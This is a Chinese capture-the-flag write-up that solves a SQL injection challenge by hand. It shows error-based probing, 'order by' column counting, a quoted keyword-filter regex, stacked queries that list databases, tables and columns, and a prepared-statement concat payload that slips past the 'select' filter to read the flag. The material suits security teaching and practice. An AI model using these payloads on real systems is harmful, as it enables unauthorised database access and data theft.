打开题目场景,根据题目名称,猜测为SQL注入漏洞,下面开始进行手工注入测试。
step1、先在方框中随便输入数字
输入1
输入0,无返回结果。
step2、在方框中随便输入字母
输入xxx,无返回结果。
step3、单独输入一个反斜杠字符 \
报错:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''\'' at line 1
我们可以知道,当我们单独输入一个反斜杠字符后,报了一个数据库语法错误,证实了我们的猜测(即存在SQL注入漏洞),并找到了注入点,根据报错的信息可知,在注入点使用了单引号作为闭合,下面我们开始构造闭合。
step4、手工注入阶段——尝试select联合查询
构造payload: xxx' or 1=1 #
若想使用union联合查询,首先要知道后台的select语句中选择了几个字段,构造paylad:
xxx' order by 3 #
报错:error 1054 : Unknown column '3 ' in 'order clause'
没有第三个字段
xxx' order by 2 #
不报错,说明有两个字段
我们希望获得数据库名称,构造payload:
xxx' union select 1,database() #
报错:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明select被过滤了,则不能使用select联合查询
step5、手工注入阶段——尝试使用堆叠查询
想获取所有数据库名称,构造payload:
xxx';show databases; #
返回如下:
对supersqli这个数据库感兴趣,想获取里面所有的表名称,构造payload:
xxx';use supersqli;show tables; #
返回如下:
对表名为1919810931114514的表感兴趣,获取表名为1919810931114514中的所有字段:
构造payload:
xxx';use supersqli;show columns from `1919810931114514` #
返回如下:
发现flag字段,获取字段值绕过select,采用预编译:
xxx';set @sql=concat('sel', 'ect * from `1919810931114514`');PREPARE kb from @sql;EXECUTE kb #
返回如下:
得到flag。